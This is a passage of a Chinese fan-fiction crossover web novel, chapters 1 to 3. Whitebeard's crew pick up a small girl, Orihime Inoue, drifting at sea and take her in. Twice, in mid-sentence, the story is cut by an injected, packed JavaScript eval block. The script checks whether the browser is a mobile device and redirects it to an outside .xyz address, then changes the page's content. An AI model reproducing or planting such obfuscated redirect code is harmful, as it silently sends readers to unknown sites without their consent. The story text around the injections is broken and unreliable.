《从伟大航路开始的最强医生生活》 1. 第 1 章 “织姬，织姬的名字就叫织姬呀！哪有为什么要叫织姬的原因！” “叔叔，你问得好奇怪！” 白白嫩嫩肉乎乎的奶团子仰头，视线没忍住随着眼前大叔脑袋顶上随着风晃悠了一下的黄色头发在动，声音倒是奶声奶气的，还有着一种理直气壮的意味。 看着也就比巴掌大不了多少的女孩，正在以一种开朗活泼到不可思议的语气在问。 “叔叔难道就是传说中的人贩子吗！” 好刺眼！ 笑容，好刺眼！ 马尔科叹了口气，伸手扶着额头：“……” 伟大航路的天气总是阴晴不定，就算距离极近的两座小岛，也可能一个在酷暑一个在严冬，这一点又在伟大航路的后半段里展现得格外明显，有时候一座岛上就能有两种截然不同的天气。 能在新世界的海路上航行着的船只，如果不是成熟的有固定航路的商队，就只有海贼和海军两种可能，甚至大部分海贼的前缀上都要标上一个四皇附属，普通的岛上居民哪怕想要出行都是想办法跟着商队的船走。 在这样的情况下，单独一艘小舟在随波漂流，在除了这是鹰眼米霍克之外，最有可能的答案，应该就是‘被海贼打劫了的商队的逃生船’。 此时此刻。 飘在莫比迪克号边上的站一个普通身量的成年男性的小船上，啊，说小船还是太勉强了——这就只是用三块木板拼接起来的不知道是什么的玩意，能漂浮起来都是件了不得的事情。 这会儿，这个‘玩意’却给开发出了一个新的选项。 上面承载着一位……在逃‘公主’。 - 今天也不过是伟大航路里依然平凡无奇的一天，莫比迪克号身为四皇之一白胡子海贼团的主船，自然也是尽心尽力地不让不远处海域监视用的军舰吓跑鼠胆 ，依然安静待在这片属于白胡子海贼团的领地之中。 甲板上，‘白胡子’爱德华·纽盖特也如同往常一样……听着身边‘儿子们’的叽叽喳喳，有人提议着说是穿上的朗姆酒储备都见底了，该去补充了，有人调侃着问要是莫比迪克号一旦航行起来，不远处那群海军大概会以多快的速度反应过来。 还有人脑门青筋直冒，一手一个新人船员：“还喝！还喝！厨房料酒都要被你们喝完了！” 白胡子哈哈大笑着看眼前热闹且日常的一幕，也没有阻止孩子们的吵吵闹闹，光是这样的画面，他想，自己哪怕看上更久也不会发腻。 只是风雨半生不止的人生经验又给出来一种隐隐道不明的警示，在这种寻常里，不出意外就该是时候出些意外了…… 闯入见闻色之中的是一道弱得和天上送信的海鸥差不多的呼吸心跳，就在附近，就在莫比迪克号的……边上？ 精致的，微弱的，仿佛经受不住风雨飘摇的， 孩子。 “马尔科。”白胡子唤了一声在边上盯着自己进行日常检查的一番队队长，言简意赅道，“左侧船舷下面。” 念叨着‘老爹你喝酒的量也该注意注意’了的孩子虽然贴心，但是碎碎念也会让当父亲的他感觉头大，借着这个当口，他赶紧挥挥手。 马尔科的表情比现在的白胡子还要无奈：“老爹，至少最近，酒是真的不能再喝了。” 他往前踏出一步，同时伸手还指了指边上的输液架：“这次里面有的药物成分是得要忌酒的，老爹，最起码一个月啊！” 拎着手下的船员试图从他们手里把厨房的料酒给抠出来的萨奇，撇嘴：“马尔科最近也越来越老妈子了哦？” 马尔科：“……” “萨奇，我听得到。” 话音还尚未落下，他的双臂就瞬间化成了蓝色火焰组成的翅膀，挥动着，几乎就是转瞬之间，抵达了船体的左舷，他站在船栏的上方，看着不远不近的飘在了莫比迪克号边上的…船。 三块木板拼凑成的物体没有漏水就是万幸，上面还站着一个小孩，因为往后仰头在看莫比迪克号导致重心都直接不稳，直接一屁股墩倒仰摔坐下去的橙色头发的小姑娘。 完全就是一个普通得不得了的小姑娘…… 不得了啊。 马尔科挥着翅膀，停在了那‘船’的船舷上，拼凑起来的目光晃悠两下。 刚刚才颤颤巍巍站起来的小姑娘，再次倒仰摔倒了。 ——真的很不得了。 不得不再一次在心里这样感叹，马尔科眯起眼睛看着眼前的孩子，气息足够弱，不只是弱小，甚至还有着虚弱的意味在其中，身上倒是干干净净的，不像是从战火中的国家逃难出来的。 但，一个小孩，搭乘着三块木板，飘到了四皇之一的白胡子的主船边上？ 这句话的每一个字出现在现实里面，都是真的‘不得了’的事情。 船上擅长见闻色霸气的人也不止一个，能逃离桅杆瞭望台上的船员的眼睛到了这里，甚至这块儿海域都是海王类频出的地儿，如果不是船上有会霸气的人震着，要么就是像海军那样在船底头镶海楼石——她怎么做到的能平安无事到了他们这儿？ 可疑的地方也不止这一星半点。 等到船身平稳下来，马尔科才蹲下身子，看着这个衣服都不合身的小姑娘。 “你，叫什么？” 这句话算是一大一小扯起来的根源。 小姑娘说自己叫织‘公主’，虽然细皮嫩肉的模样的确看起来像是娇惯着的孩子，但是‘公主’可不会在海上流浪。 很努力掰扯了好几句之后，马尔科才搞明白，这个不知道哪儿来的小孩的名字就叫公主——这样式儿的名字可不算多见，但凡被所谓的‘贵族’听到了这个名字，大抵是会出事的，哪怕起名字的父母或许是对这个名字灌注了期许愿景。 织姬好奇地望着眼前的大叔，视线艰难地从对方像极了菠萝叶子的黄色头发上挪开，又放到了大叔的胳膊上。 她后知后觉地发现，这位大叔的胳膊，刚刚竟然是从蓝色翅膀变成了手臂诶！ “大叔，如果你不是人贩子的话，那是引路的青鸟吗！”织姬问。 她期盼着望着和童话故事里的青鸟完全不像的叔叔：“织姬迷路了，你是来帮织姬引路的吧……是吧？” “……迷路？”马尔科下意识重复了一句。 井上织姬小脑袋点得像是个小鸡啄米似的，掰着手指数着时间：“前天哦！织姬刚刚放学的那个时候踩到石头脚崴了，不小心从河堤边上摔下去，结果一路漂————啊，漂到了这里，还好找到了船，我不太擅长游泳呢！” 她咕咕哝哝说了一堆。 说自己顺着漂流了好久好久，可是怎么还没有漂到岸边，她想要报警说自己迷路了，想要回家。 马尔科：“……” 槽多无口。 距离他们现在位置的最近的小岛，大概还有半个月的航程。 两天时间从河漂流到海面上啊…… 他带孩子的经验约等于零，但是好歹是见多识广呀！ 马尔科知道，小孩不会说谎，但是会胡说八道。 五短身材的小姑娘看起来也不过就七八岁左右的样子，也算不小了，但要是家境好一点儿的话，也的确可能还是不知事的时候。 从目前已知的信息量里删删减减猜个可能性的话，应该是这孩子意外落水，然后一直在海上漂流到现在。 时间上或许是没有说谎，最近的小岛大概半个月航程的话，七八岁的小孩可受不了这么长时间的日照，很快就会脱水的。 再看这个女孩？ 嘴唇苍白干涩，脸色也不是很好，不喝水应该已经有了一天多些的时间了。 嗯……算有常识的聪明孩子。 还知道在脑袋顶着件外套，能够避免在没有遮挡物的大海上遭遇的阳光直射。 商船上掉下来的孩子？ 不，哪怕白胡子海贼团是四皇里面算得上好说话的其中之一，也不会有商船客船会路过其领地。 想了想，马尔科又恍然。 伟大航路的天气多变早就不是什么新奇的事情，如果是遇上了某种奇怪的海流，并将其卷起到这边的海域，倒也是有可能的。 ——运气背一点的，遇着上升海流去到空岛都算不上奇怪。 “啊……”视线落在了织姬的额头和确实肿起来一块的脚腕，马尔科眨眨眼睛，伸手指着边上投下了巨大阴影的莫比迪克号，“伤口，要先和我去船上处理一下吗？” “船？” 织姬下意识跟着重复了一句，顺着马尔科的手指扭头，然后仰头，嗯，继续仰头。 “诶！！船！！！？？？” 噗咚。 又一个屁股墩，摔坐在‘甲板’上。 织姬底头看着自己身底下的木板，又抬头看着边上的高大到自己都看不到顶的存在。 原来不是什么水面上的超大礁石嘛。 竟然是船呀！这应该就是轮船吧！是新闻上的那种轮船！是那————么大的船！ 原来还想着自己找到了个阴凉地方的织姬，眼睛都瞪得圆乎乎的。 “想去！” 船！ 好大的船！ 但是，怎么上去呢？ 小小的井上织姬抬头看着眼前的大叔，眼神都是亮晶晶的，像是洒满了星屑。 马尔科：“……” 他想，自己是不适应和这个大小的小姑娘相处的，很怪，尤其对方用这种期待眼神看着自己一个‘海贼’的时候，真的很怪。 不死鸟张开手臂。 “哇——” “啊啊啊啊啊！” 被鸟爪子一把抓住的织姬手脚扑腾着。 “是青鸟啊啊啊啊！” “长菠萝叶子的青鸟叔叔翅膀着火了啊啊啊——” - 船头。 白胡子眼睁睁看着自家儿子拎着个晕鸟的小姑娘飞上了船。 而那个小姑娘？ 小小一只的井上织姬瘫在甲板上，本来就白的脸色这会儿都快发青了，眼睛都转成了蚊香。 “yue——” 自己扑腾得差点掉下去又被马尔科捞住，沉浸式体验跳楼机的小小织姬第一次发现，自己可能晕青鸟。 “……”什么青鸟啊！我这可是幻兽种的不死鸟！ 马尔科犯不着和一个孩子计较这个，他失笑，赶紧要回船舱里去取点调理身体的温补药物，顺手，还拽走了好奇围观的萨奇，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050866|162812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把把人推去厨房的方向：“那孩子应该有一天多没有进食了，有什么容易消化的东西端一点给她。” 干呕了半天的井上织姬好不容易回过神来，手脚并用地从甲板上扑腾着坐起来，第一眼看见的，就是围绕在自己方圆最起码五米开外的一群奇怪的姐姐哥哥叔叔。 衣服奇怪，发型奇怪，长得…… 不对，哥哥教过不能当随便评论人长相的坏孩子，那很不礼貌！ 想到自己刚刚还‘笑话’了青鸟叔叔的菠萝发型，织姬眉尾都垂了下去，又很快强行让自己振作起来——等下青鸟叔叔过来，一定要好好道歉才行啊织姬！要当好孩子！ 她眨眨眼睛，挪啊，挪啊。 小小的身子在甲板上绝对是最矮的那一个，但依然显眼。 织姬努力把自己挪到了一位穿着和服的姐姐的身后，怯怯探出脑袋。 “打、打扰了！” 努力放大的声音依然充满了女孩子式的轻细，织姬张着嘴巴，保持着‘哇’的嘴型，看着这艘超大的船的甲板。 好大！ 比学校的操场还要大！ 以及，好高啊，那个爷爷！ 正盯着自己的爷爷看起来不像坏人，虽然表情有点严肃，但织姬并不害怕，那位爷爷还有着白花花的奇怪形状的胡子。 能把胡子打理得这么有趣的人，应该不是坏爷爷吧？ 自以为警惕的打量像极了某种小型草食动物的张望，小孩年纪大小摆在这里，周围的船员们倒也不会反感，只是会感觉到新奇有趣。 尤其是这孩子一上来就往以藏那边靠。 哈哈哈哈哈哈哈哈哈哈哈哈以藏那家伙绝对是被当成女性了吧！！！ 脑门都差点绷出青筋，以藏挥挥手，不着痕迹地伸手握住自己的双枪，瞪了周围这群混蛋一眼，回头看怯生生的女孩。 “小妹妹，你还好吗？”他问。 井上织姬点点头，舔了下干涩的嘴唇，她身上，还想去抓以藏的衣襟。 虽然和服当常服来穿也很奇怪，但是好歹是熟悉的服饰，比周围大家穿着的奇怪的短袖短裤草鞋一样的风格，还是和服要让她能安心更多。 她抬头：“还好！” 拳头却捏得很紧。 马尔科出来得很快，手上的托盘上还有着止痛消肿的药膏，还有解暑的冲剂：“织姬，我是船上的医生。” 他说，“我来给你上药。” 药膏上是一种清凉的味道，不难闻。 小姑娘往外探头，慢吞吞往那边蹭：“谢谢青鸟叔叔——” “……” “直接叫我马尔科，马尔科叔叔也行。” 我看起来有到年纪直接是叔叔的程度吗？ 马尔科手上蘸着药膏给这孩子在涂，同时还在跟老爹和周围的同伴在说刚刚织姬说过的那些，萨奇也很快端出来了一碗温热的汤，笑眯眯地递给了织姬。 很想有礼貌地先把道歉和道谢全都说完，但是织姬饿了将近两天的肚子直接传出来咕噜咕噜的声音，脸上都红扑扑的，她嗫喏说了谢谢，接过碗，没忍住就大口大口地往下吞咽。 ——吃相还蛮可爱的。 萨奇哈哈大笑，说着不着急，厨房还有很多。 “从哪里落下到海里，然后漂流到这里吗？” 望着自己衣襟边上的小拳头，和自己分明是不认识的这个女孩眼里的亲近。 以藏一个没忍住，直接倒抽一口冷气：“……” 不、不会吧？ 他想，自己身上的衣服，至少这么多年在伟大航路看下来，是没有其他国家有出现过的。 这是他的故土……和之国的传统衣物。 关于和之国的地势地貌，那高低落差够大的瀑布，还有周遭算得上恶劣多变的天气。 以及，自从…之后，和之国现在是凯多的领地范围之内。 “织姬。” 他喊了一声，“你的名字，怎么写？” 是和之国的文字吗？ “你认识我的衣服，是吗？” 织姬歪头，嗯了一声：“姐姐身上是很漂亮的和服！” 她笑眯眯的：“名字的话，织姬会写哦！不只是片假名，汉字的也会写了呢！” 手指在地上比划着井上织姬四个字。 ——姓氏是井上吗。 ——这也完全就是和之国的起名方式啊！ 在场的白胡子海贼团的老人们都瞬间明白过来以藏所问的潜台词，也忍不住咋舌。 ——从和之国那边直接漂流到这边的吗？ 大海之上无奇不有，他们倒也没有怀疑什么。 以藏蹲下身子，都没有计较被这孩子喊做姐姐的事情。 “织姬，你是……” “从和之国逃出来的吗？”他问，双眼牢牢盯着织姬。 和之国？ 啊，日本呀，大和民族嘛！ 井上织姬努力地回想着自己掉下河堤的事情，可惜，她脑子里总是迷迷糊糊的，一片漆黑的，总觉得自己走了很久，现在却又什么都记不清楚。 但自己在日本这一点，织姬当然是能够肯定的。 于是她重重地点了头：“嗯！” 2. 第 2 章 井上织姬是个奇怪的孩子。 ‘普通’的孩子压根就不会坐着模板就漂流到新世界，还脑袋跟着出了亿点点的问题。 马尔科盘腿坐在甲板上，小姑娘让抬腿就抬腿，让探头就探头。 脚腕上的扭伤因为拖了两天没有处理，现在仔细看就能发现已经肿到了很高的程度，还泛着显得狰狞的青紫。 船上大概是第一次用这么效果温和的草药，慢慢敷着在她脚腕上，想要帮忙揉开，结果这孩子眼泪水都憋出来在眼眶打转了，还硬是咬着下嘴唇说不疼…… 于是揉开的动作交给了井上织姬自己去处理，马尔科帮忙把撩开头发才能看见的额头上的擦伤给处理好，这才收拾起放药的托盘。 “老爹，你看这孩子？” 他欲言又止，收敛着没有当孩子的面把话说得有多直白，但是潜台词其实也已经足够明显了。 以藏扶着织姬的肩膀，他揉了揉这孩子的橙色长发，也无声地抬头看着白胡子。 现在前不着村后不着店的情况，这孩子肯定是需要在船上呆上一段时间的，问题是在于她之后的去留。 把人送回和之国的话…… 现在的和之国的情况，哪怕从来没有拿出来公开谈论过，但是船上的大家也基本都是心知肚明的，这个时候要是把人送回去绝对不是一个好的选择，毕竟只四皇之一哪怕只是靠近另一个四皇的根据地，不管原因如何，这都会是震惊世界的大事件。 孩子自己就努力跑到了外面，要是能够让她好好安顿下来，就好了。 或许是许久没有见到家乡的来客，又是年纪这么小的孩子，这让以藏久违地想起了自己的弟弟菊之丞，怀念和怜惜让他不自觉伸手，去揉了揉井上织姬的头发。 那是很漂亮很温暖的橙色长发。 “先留下来吧。” 白胡子看着那个半个身子还努力藏在以藏身后的女孩，那孩子眼里有好奇，但却意外的没有存在名为害怕的情绪。 “小姑娘，在抵达下一座岛上之前，安心留下来就好。” 他这样说到。 - 被带到了临时收拾出来的一番队的病房里面，冷冰冰的白色枕头和床步都被临时抽走，原本围绕在白胡子边上的护士小姐们都分出来一个人，帮忙在房间里面扑上了嫩黄色的床单。 这么大的船，想要找一个会针线活的可不算容易，但，奈何船上也确实没有适合这么小的孩子穿的衣服，几位护士小姐手忙脚乱，习惯捏着针筒拿起了针线，最后被嫌添乱的以藏队长伸手挥了挥，结果那件衬衫，不算特别熟练地裁开了腰线又重新收紧缝起，袖子裁短。 由护士小姐帮忙给换成了临时裁出来的这件连衣裙，虽然有点儿简陋，但是已经变成了适合织姬的尺寸。 外面又披上了一件以藏提供的羽织，有些长了的羽织直接拖在地上，只是身为羽织的原主人，以藏显然是不在意这么点儿微不足道的小问题的。 “看起来很想是裙子的拖尾呢，织姬，很漂亮哦。”他拍拍手，如此说着。 “真的嘛！”织姬眼睛一亮，她伸手拎了一下羽织的一角，又松开手指让其轻轻落下。 曾经看电视时，无论是动画片又或者是服装广告，织姬都曾看见过里面会有女孩子转了一圈又一圈，裙摆都像是孔雀的尾羽那样晃开，她对那样的画面充满憧憬。 但是不行的，漂亮的裙子需要花很多很多的钱，而哥哥工作维持兄妹两个人的生活就已经很辛苦了。 不能任性提出来那样的要求。 啊。 直到后来，哥哥也不在了…… 寂寞和悲伤在心脏上跳过了轻轻浅浅的一下，井上织姬对眼前很好的大姐姐扬起笑容，然后试着轻轻的，转了一个圈圈。 质地轻盈的羽织扬起，又落在了又衬衫临时改成的裙子的表面。 “以藏姐姐，看！” “转出来圈圈了！” 以藏的衣服都是和服，且颜色多数偏于艳丽，这件羽织就好像是商场橱柜里的洋娃娃公主才会有的漂亮衣服，织姬顿了一下，抬眼问着以藏：“这么好看的衣服借给我穿，真的可以吗？” “衣服哪怕好看也得要人来穿才好，它很适合你，这就足够了。” 他取出一枚发簪，端详着有些尖锐的尾端，想了想，以藏直接伸手，把发簪直接掰弯成了一个小小的回字形状，然后伸手，帮着织姬挽起来她有些长的发尾。 手指无意间碰到了井上织姬鬓发两边的发卡，小姑娘缩了一下脖子：“发卡，可以不要摘下来吗？” 她问。 “这是哥哥送给我的礼物……”误以为这位好心的漂亮的姐姐要摘下发卡，井上织姬忙不迭开口，她语气有些快了，生怕对方也会误会自己是不喜欢，“织姬只剩下这个了！可以……不摘下来吗？” 这样啊。 对于同乡的孩子，还是年纪这么小的女孩，以藏的耐心可谓是足够的充足。 “抱歉，我不清楚这个。” 他应了一声，只是用被强行改变作用的发簪去别住了羽织系带的领口：“海上的晚风会比较冷，这样固定住，就不太会散开了。” 发簪上的珍珠是上次去鱼人岛时，在人鱼的店铺里买来的，虽然不是大颗粒的，但是从光泽和圆润度来看，这也是深海出产的难得一见的珍品。 “还有，织姬。”以藏俯身，竖起一根手指。 “叫我‘哥哥’怎么样？” 他说，“总是喊我‘姐姐’的话，从我的角度来看，会有点困恼哦。” 好温柔呢。 以藏队长。 门口一直守着的一番队的护士小姐没忍住，笑了一声。 ——像是往常那样，要是有刚上船的新人船员敢喊他以藏‘小姐’，以藏队长会在第一声出来就要拔枪给对方教训看看呢。 果然还是对象不同的缘故？五大三粗的船员先生们的确要比这样的孩子更容易惹人生气！ 而织姬？ “哥、哥哥？” 小姑娘懵懵的，视线从以藏头上长发挽成的发髻，又落到了对方涂抹成心形的红色唇彩上，最后，还有那身粉色的漂亮的和服。 还有…… 胸。 嗯，平的呢。 “！！！！！诶！？” 小小的织姬，大大的震惊。 织姬意外地其实是非常胆大的孩子。 这是以藏在捡到这孩子的这第一天晚上就发现的事情。 “以藏哥哥，是好漂亮好漂亮的哥哥！” 自己竟然喊了一位漂亮先生叫做姐姐这么多声，织姬看起来有点儿过于抱歉了，顿时像个小尾巴似的，粘在以藏的后面，试图跟他解释他有多好看，自己才会错认性别。 ——会不会太打扰对方了？ 刚这么想着，但是织姬又想起来了哥哥的教导，不能当做错事还不道歉的坏孩子。 她叽叽喳喳很努力地想要解释着，对于以藏来说，这也实在是过于久违的经历，他又想起来了菊之丞，自己许久未见的已经成长成大人的弟弟。 “喂喂，这样真的没有问题吗，那个小姑娘就这样一直跟着以藏队长，很添麻烦吧！” 甲板上，有人这么说。 “以藏吗？” 四番队的队长萨奇哈哈笑着，抬着一口炖上了喷香烩菜的大锅：“那小子这表情。” 他抬抬手，摁着自己的眉心做出蹙眉的样子，“是超级得意的表情啊！” 船上捡到了个小孩这种事情，说大不大，说小……至少对于被捡到的孩子来说，应该是不小的。 这年头哪怕是养得再好的小孩，也都懂事得早，初到海贼船上的不安，就应该被美食和欢快的气氛给吹散。 所以—— “来开宴会吧！” 朗姆酒的储备不多，但是用来再开一次宴会也绰绰有余。 甲板上支起来的大锅里是味道温和小孩子也可以吃的炖菜，边上烤肉烤鱼更是不少。 织姬后知后觉，这场宴会好像主人翁是自己——她听见了好几位叔叔哥哥在说，这是给织姬的欢迎排队。 “不是什么大事。” 马尔科帮她拿来了一个碗，“只是为了开宴会而找的理由而已，不用太有心理负担。” 白胡子看着儿子们在眼前喝酒耍宝，也跟着发出来库哈哈哈哈哈哈哈的大笑。 织姬贴着最边缘的加班，小口小口喝着热汤，‘哇’的很小声的感叹从嗓子里冒出来。 自觉自己把人给捡上来的，该问该说的也都得要说清楚才行，马尔科蹲下来和井上织姬的眼睛的高度持平：“关于你家里的事情，可以问吗？” “还……记得多少？” 这是个比较关键的问题，取决于他们接下来要把织姬送去哪里。 “家里？” 井上织姬重复了一遍，声音很轻。 倒也不是不能说的事情，但，说出来的话，要是被可怜了的话，会觉得很奇怪。 其实总结起来也只是再简单不过的几句话。 哥哥井上昊不堪忍受具有暴力倾向的父母们，于是带着尚小的织姬离家，兄妹两个人一起在生活着。 有辛苦的地方，但是因为有对方就足够了，俩兄妹的生活所以不算难受。 只是后来呀，哥哥也走了。 她还在哥哥走了之前，让他担心。 “嗯？” 小孩子的组织语言的能力不算好，但是好在马尔科也听得懂，他有些疑惑织姬说的让他担心的部分。 “发卡。”织姬伸手摸了摸自己的鬓发，上面的六花发卡在星光下流转出光亮，“中学的时候，我的头发、因为头发剪短了哥哥却送了我发卡，所以闹了脾气。” 女孩语气逐渐地变得更为低落沮丧：“就在当天，哥哥出门的时候——” 不，不用说了。 耳边，似乎听见了这样的话。 井上织姬看见了马尔科站了起来：“叔叔？” 她喊道。 “是难过的事情的话，不用勉强自己去说出来，织姬。”马尔科看见她手里的空碗，“再来吃一些吧，萨奇的烤肉手艺很不错。” “在我们船上，就安心先待着吧。” 他笑道，语气平淡，没有织姬担心的那种可怜存在。 "等到下一座岛的时候，你可以再决定去处的问题。" 刚刚眼睁睁看着这小姑娘眼眶就要泛眼泪了，马尔科才赶紧站起来，截断话题。 掀人伤疤的我可真过分啊！ 他摇摇头，把这个念头给先甩开。 “虽然我们白胡子海贼团有时候名声，嘛，毕竟是海贼团。”他带着织姬向宴会中心的美食走过去，“但我们还没丧心病狂到要去惹哭一个小姑娘。” 原本想着等这孩子缓过来，就把她直接交托到下一座岛上去，白胡子的领地上，这孩子还是能够安安稳稳生活并长大的。 但…… 现在看来，果然还是让她自己决定比较好。 家庭太早遇到变故的孩子，其实是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050867|162812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有自己的主意的，他们也不好代替决定。 “……” “……” 马尔科掉头，看着突然停住脚步的，原地的井上织姬。 “海贼团？” 女孩重复了一句。 “海贼？” “是说海盗的意思吗？” 诶！！！ 海贼！！！ 是《加○比海盗》的那种吗！？那种超———神奇的会和大章鱼打架的海贼吗！ 是海贼诶！ 马尔科：“……不会吧。” “喂，我说，织姬妹妹。”他招招手，“这是海贼船哦，你不会刚刚才知道，吧？” 井上织姬：0v0？ 越问，这孩子的眼睛就越来越亮。 她似乎从来没有听过，关于海盗的事情，别说这是海贼船了，问到细节一些的连白胡子啊四皇啊，她都完全不知道。 “……”马尔科扶额叹气。 不清楚这是撞到脑袋的后遗症，又或者是单纯的常识缺失，他都跟着突然感觉，刚刚自己想要让这孩子决定去留的想法，都太过于轻率。 被拽过来的以藏耸肩，他看着织姬那孩子，女孩正在以更为新奇的目光在看着大海，还特别小心地，用指腹蹭了蹭甲板和船舷。 “以和之国现在的锁国状态来看，这个年纪的孩子什么都不知道，其实并不奇怪。” 他叹了口气。 “并不厌恶海贼的话，等到了下一个岛，织姬如果没有决定留在岛上的话，我们十六番队可以带着她一起，她还蛮亲近都是和之国出来的我的。” “……” 马尔科抬眼看着身边的男人，默默移开视线。 他看向试探着还没有接近宴会这边的女孩，想起来了护士小姐们的碎碎念。 ——我们护士组女生宿舍完全可以直接给那孩子住哦！ ——反正你们完全不会照顾女孩子，不准和我们争！ 比起都是和之国出来的以藏，还是天然性别就一样的医疗护士组更能和她合得来吧？ 嗯，肩膀上担着千万不能争输掉的重担呢。 “嘛，反正前提条件是要那孩子会想要留在船上。” “比起这个，还是先开宴会比较重要。” 起身，马尔科往着宴会那边走去。 萨奇招呼着他一起来喝一杯，手里还挥舞着一把小刀，在片肉。 “小孩子毕竟啃不了这么大一块肉，直接剃下来比较方便。”厨师嘛，总要顾虑到食客的各种需求，萨奇把盘子塞给了马尔科，打发着他喝完酒赶紧端着盘子去给在最外圈的织姬。 ——毕竟现在就你和以藏和那个小妹妹最熟！ 萨奇摊手。 马尔科：“……” 端着盘子，正好起来的时候。 ……人呢？ 他看向人群之中。 ——那么大的小织姬，人呢！？ - “白胡子爷爷，你不一起吃吗！？” 因为太高大了的缘故吧，分明时时刻刻都能看见，但却下意识地会把这个很高大的爷爷忽略成背景。 那可不好。 井上织姬很努力地推过来自己刚刚拿到的最大号的盘子，那在这个爷爷的眼前，似乎也不过就是个小料碟的程度，上面装着的是还热气腾腾的炖菜。 她仰着头，“初次见面，先前没有好好地打招呼，非常抱歉！” 牢记着刚刚马尔科叔叔说的，这艘船叫做白胡子海贼团，而这位爷爷就是船长，四皇之一的白胡子。 虽然没有听懂的部分占了大多数，但是至少织姬听懂了，这艘船的主人是这位白胡子爷爷。 牢记着自己学会的利益，织姬仰头看着白胡子爷爷的眼睛——非常感谢这位爷爷愿意低头，不然她都看不见！毕竟说话看着对方也是礼貌嘛！ 抬头，然后低头弯腰问好。 礼仪满分。 就是动作太大，声音太小。 简单的动作却被这孩子做得差点又一个倒栽葱要摔到。 “库哈哈哈哈哈哈哈小姑娘，你不害怕吗。” 白胡子看着这孩子的动作，笑声轰隆。 “怕？” “不怕哦！” 织姬抬起手，试图把自己装来的炖菜递给这位爷爷。 “青鸟叔、额、马尔科叔叔说了，是爷爷第一个发现我漂到这边来的！” “真的非常谢谢！” 她又是一个抬头和大甩头低头的动作。 “白胡子爷爷是好人，所以不害怕。” 嗯…… 虽然宴会中心为了一块大骨头肉打起来的叔叔们有点怪怪的可怕，但都是很好的人。 所以，不害怕哦。 井上织姬笑着，试着把声音放大一些。 “虽然是第一次来这么大的床上，会有点儿不安，但是织姬不害怕！” 前方是新奇。 是新的没有接触过的事物。 总觉得，这样的不同的生活，是自己期待着的那样，连带着，不安似乎都会逐渐褪去。 她想。 这一切都超————酷的！ 白胡子垂眸，看着这意外的人小胆大的小姑娘，半晌，再次发出的爽朗的大小声。 能直视四皇的眼睛，这小孩，比现在不少海军的胆子都要大库哈哈哈哈哈哈哈哈哈—— 果然啊，新的大航海时代，这样的小孩多些，大海才能更有趣嘛！ 井上织姬：0v0 3. 第 3 章 对于这片大海，井上织姬所缺乏的常识，已经不是一句两句能够全都解释清楚的。 航行途中本来也就除了护理船只之外没什么事情做，最近，船员们全都找到了新的事情去做——那就是给织姬的常识补习。 大字写不了几个的船员纷纷自告奋勇，又被翻着白眼的十六番队队长给一个个给撵回去：“臭小子们，你们能教什么东西啊混蛋！” 以藏队长护短是真的护短，身为和之国出来的人，他当然知道怎么以更为合适的节奏去教织姬关于这个世界的所谓的‘常识’。 “以藏队长那家伙竟然也有这样的一面吗。” 身上背着用来捆船帆的麻绳路过甲板，船员看见了端坐在一遍，拿着根小木棍指着黑板的以藏，就好像讲师那样，只是他对面唯一的学员只有一个井上织姬。 那个刚刚在船上呆了还没有两天的小姑娘，也听得非常认真，手里还拿着护士小姐那边友情支援过来的笔以及笔记本。 “我们船上竟然是有笔记本的吗，写笔记要干嘛？” 有人愣愣问道。 一旁的马尔科：“……” 比如说给你们这些臭小子写病历，以及写病历，和写病历。 船上要写笔记的人不多，航海士是一个，船医正好又是一个。 介于船上的女性大部分都是护士小姐，也就是他这个船医的辅佐们——那些女士们就毫不客气地洗劫了他的办公桌，把空着的本子和笔都给织姬拿了一份。 女生的房间倒是还没有额外的准备，但是病房倒是有空，几位女士拼拼凑凑，愣是把透着原木色调的冷冰冰的房间，给拼凑出来了适合女孩子们的氛围——很靠近甲板的，可以看见有着粼粼波光的海面的房间。 至于常识补习？ 全靠船上四海来的大家伙们在查漏补缺，全靠以藏的话，那孩子才真的是要被教歪到天边去了！ “《海之战士索拉》是北海的畅销漫画，织姬妹妹要看嘛！” 哦，还有人夹带死活，在安利漫画的。 马尔科随手抛过去一颗苹果，被努力拎着一本漫画的比斯塔反手拔剑给在空中给削成了八瓣，眼疾手快地以投掷飞盘的动作掷出去一张盘子，苹果片稳稳当当落在其上。 放下手，比斯塔把苹果还有漫画放到了织姬的面前。 小姑娘歪头看着：“谢谢比斯塔叔叔。” 嗯…… 但是要全都看懂有点吃力呢。 虽然大家都在说着日语，但除了以藏哥哥，其他人写字都是英文字母呢。 还好我会英语。 嗯？ 我会英语，吧？ 井上织姬想起来了之前马尔科叔叔对自己的诊断，脚上的扭伤敷药敷了两天已经好得差不多了，额头上的擦伤更是只剩下浅浅的痕迹。 只是，他说，问题不在于体表的伤痕，而在于内里。 她应该是撞到了脑袋以至于脑震荡，忘记了很多的事情。 ‘如果是悲伤的事情，哪怕记不起来也没有关系。’以藏哥哥是这么说来着。 但是啊，织姬不觉得忘记的那些都是悲伤的事哦。 小姑娘伸手抚摸了一下自己的发卡，指腹能够感觉到温度的微凉。 眼前，以藏直接炸毛举着双枪在吼比斯塔叔叔别来打扰他，结果比斯塔叔叔在大喊大叫着说什么‘海之战士索拉’是北海的骄傲文化…… 嗯，听不懂。 低头翻看着手里的漫画，织姬倒也对现在的情况有了一点儿的了解。 这里和她长大的地方有着天壤之别。 